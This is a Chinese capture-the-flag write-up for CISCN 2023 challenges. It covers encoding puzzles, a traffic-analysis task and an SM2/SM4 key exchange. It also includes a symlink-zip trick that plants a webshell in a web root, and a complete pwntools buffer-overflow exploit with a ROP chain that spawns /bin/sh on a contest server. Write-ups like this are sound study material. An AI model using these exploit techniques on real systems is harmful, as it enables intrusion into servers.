About-CISCN2023

签到卡

打开题目发现是一个打字机,随便打打发现给了提示,于是就到公众号得到提示

print(open(‘/etc/passwd’).read())

这是python读取文件的一个代码,猜测flag直接就在第一层/flag,所以输入

print(open(‘/flag’).read())

直接得到flag

unzip

打开容器,发现一个文件上传目录,随便点了一下上传,他给我跳到了一个界面,显示了文件上传后的前端处理过程,也就是只接受zip文件,然后先访问tmp目录,再将上传的文件解压到这个目录下。既然是文件上传,那么思路一定是上传一个木马从而控制shell。但是根据前面的代码审计发现文件上传位置为/tmp,所以我上传了一个压缩的木马文件,并访问tmp目录,结果发现tmp目录不能访问。

我想到一个非常类似的题目,所以首先先建立了一个软链接,叫a1,让他指向/var/www/html,这样相当于指向了网页能访问的根目录。然后使用zip -y压缩保留软链接,记为a1.zip,然后再a1目录下写一个一句话木马,并使用zip -r压缩,也就是不保留软链接,记为a2.zip。那么先上传a1.zip,则相当于在tmp下创建了一个目录叫a1,然后再次访问的时候,解压出了一个a1文件夹,里面有一个木马叫a1.php,但由于之前就有一个a1文件夹,所以两个文件夹自动合并,所以a1文件夹中有了木马a1.php,但是由于a1是软链接,所以相当于根目录下有了一个a1.php,这时候直接在网页根目录下访问即可。最后获得flag,其位于根目录下

被加密的生产流量

找到并筛选出wireshark流量包中的modbus部分,发现长度为66的记录里面最后有两个字母或数字或字符
将其拼接可得:

MMYWMX3GNEYWOXZRGAYDA===

base32解码得:
c1f_fi1g_1000
于是flag{c1f_fi1g_1000}

Sign_in_passwd

发现第二行

GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5

中存在%
将其进行url解码得

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

将其作为模板对第一行进行base64解码得:
flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

烧烤摊儿

0x01

​ 运行程序,喝啤酒、吃烤串儿、查钱包余额还是直接买了这摊位,额额还有只是看看,先润…

​ 一番探究发现随便吃了点钱就不够了,那如果我把烧烤摊儿买下来呢?

​ 于是拉到IDA里看看

HB9O5L_PK0F_7S172__T764_tmb.jpg

​ vip函数对应买摊位,若你的money>100000,你的拥有摊位数量own则会变为1,代表你已经买下这个摊位啦

​ and,多买一会儿会发现购买负数个的食品可以反向加钱

​ 于是我们钱包余额瞬间爆棚,拿下烧烤摊儿!

​ 此时我们发现多出一个选项5——给你的烧烤摊儿改名

​ 由此进到gaiming函数

K24QCDI6IYA@_2_LCV@_F_0_tmb.jpg

​ 读取输入到v5,双击查看变量空间大小为0x20,计算出要覆盖的空间为0x20+8=40

G1____1EO9_JGZVMAIHDU_U_tmb.jpg

0x02

​ 使用系统调用获取Shell

​ ROPgadget寻找构造rop链

​ 得到各段gadget地址

  • pop_rdi_ret = 0x040264f
  • pop_rax_ret = 0x0458827
  • pop_rsi_ret = 0x040a67e
  • pop_rdx_rbx_ret = 0x04a404b
  • syscall = 0x0402404

​ gdb调试找到输入最终写入的内存地址,name = 0x4e60f0

J3`25RVKXSNGAAZ_P_LJ~3G_tmb.jpg

## 0x03  

构造payload

payload = b’/bin/sh\x00’*5+p64(pop_rdi_ret)+p64(name)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(syscall)

#填充字符(也是参数/bin/sh)+ pop_rdi_ret + 填入rdi的name地址 + pop_rax_ret + 填入rax的系统调用号0x3b(64位)+ pop_rsi_ret + 填入rsi的参数0 + pop_rdx_rbx_ret + rax和rbx的填入参数0 + syscall地址

写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

p = remote('112.126.80.123',17202)
#p = process("./shaokao")
pop_rdi_ret = 0x040264f
pop_rax_ret = 0x0458827
pop_rsi_ret = 0x040a67e
pop_rdx_rbx_ret = 0x04a404b
int_0x80 = 0x04aa6e0
name = 0x4e60f0
syscall = 0x0402404

p.sendlineafter('>',b'1')
p.sendline(b'1')
p.sendline(b'-100000000')
p.sendlineafter('>',b'4')
p.sendlineafter('>',b'5')
payload = b'/bin/sh\x00'*5+p64(pop_rdi_ret)+p64(name)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(syscall)
p.sendline(payload)

p.interactive()

拿到flag

基于国密SM2算法的密钥密文分发

按照文档先理解密钥分发流程

跟着文档一步步操作

  1. 首先得到唯一id,再使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器,并获取服务端加密后的随机数密文、私钥密文和公钥明文
  2. 使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文
    Z50___KO40XH___Z0_AE_FQ.png
  3. 从服务器接收密钥D的密文,使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文,给服务器验证
    HV_FS_0_034DSZHC_XOE5@8.png

拿到flag

问卷题

好好好